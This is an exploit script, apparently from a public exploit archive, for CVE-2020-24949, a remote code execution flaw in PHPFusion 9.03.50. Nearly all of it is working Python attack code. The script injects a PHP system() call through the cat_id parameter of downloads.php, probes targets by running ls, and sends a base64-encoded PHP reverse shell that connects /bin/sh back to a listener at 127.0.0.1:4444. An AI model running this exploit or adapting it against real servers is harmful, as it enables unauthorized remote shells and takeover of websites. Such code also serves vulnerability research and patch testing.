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PHPFusion 9.03.50 - Remote Code Execution

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# Exploit Title: PHPFusion 9.03.50 - Remote Code Execution
# Date: 20/05/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30&download_id=606
# Version: 9.03.50
# Tested on: Docker + Debian GNU/Linux 8 (jessie)
# CVE : CVE-2020-24949
# Found by: ThienNV

import requests
import base64
import argparse


PAYLOAD = "php -r '$sock=fsockopen(\"127.0.0.1\",4444);exec(\"/bin/sh -i <&4 >&4 2>&4\");'  " # !!spaces are important in order to avoid ==!!
REQUEST_PAYLOAD = "/infusions/downloads/downloads.php?cat_id=$\{{system(base64_decode({})).exit\}}"


parser = argparse.ArgumentParser(description='Send a payload to a Fusion 9.03.50 server with "Allow PHP Execution" enabled.')
parser.add_argument('target', type=str, help='Turn the Allow PHP Execution verification step on or off.')
parser.add_argument("-v", "--no-verify", action="store_false")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
    target = args.target
else:
    print("[!] Target should start with either http:// or https://")
    exit()

# verify payload
PAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode("ascii")
if '+' in PAYLOAD_B64 or '=' in PAYLOAD_B64:
    print("[!] Invalid payload, make sure it does not contain a + or a =!")
    exit()

# verify vulnerable host
if args.no_verify:
    page_data = requests.get(target + "/infusions/downloads/downloads.php?cat_id=${system(ls)}")
    if "infusion_db.php" not in page_data.text:
        print("[!] Can't seem to find infusion_db.php. QUITTING!")
        print("[!] If this validation is wrong just use the --no-verify flag.")
        exit()


# send request
requests.get(target + REQUEST_PAYLOAD.format(PAYLOAD_B64))

print("[*] Requests send, did you get what you wanted?")
            
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